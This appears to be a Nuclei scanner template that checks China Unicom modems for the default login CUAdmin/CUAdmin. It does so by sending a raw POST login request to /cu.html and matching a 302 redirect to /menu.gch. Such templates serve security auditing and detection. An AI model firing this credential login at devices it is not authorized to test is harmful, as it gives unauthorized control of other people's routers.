id: chinaunicom-default-login

info:
  name: China Unicom Modem Default Login
  author: princechaddha
  severity: high
  description: Default login credentials were discovered for a China Unicom modem.
  classification:
    cwe-id: CWE-798
  metadata:
    max-request: 1
  tags: chinaunicom,default-login

http:
  - raw:
      - |
        POST /cu.html HTTP/1.1
        Host: {{Hostname}}

        frashnum=&action=login&Frm_Logintoken=1&Username={{username}}&Password={{password}}&Username=&Password=

    attack: pitchfork
    payloads:
      username:
        - CUAdmin
      password:
        - CUAdmin

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 302

      - type: word
        words:
          - "/menu.gch"
        part: header

# digest: 4a0a0047304502201dae0347d4fa926986d01f472884cbc0ff36f41fd9e810a538b97a2f0edcdaab022100c2a949b7e213eca0a23fd1fafbccefbc89468ef80a0af4fd072bbfc704faae11:922c64590222798bb761d5b6d8e72950
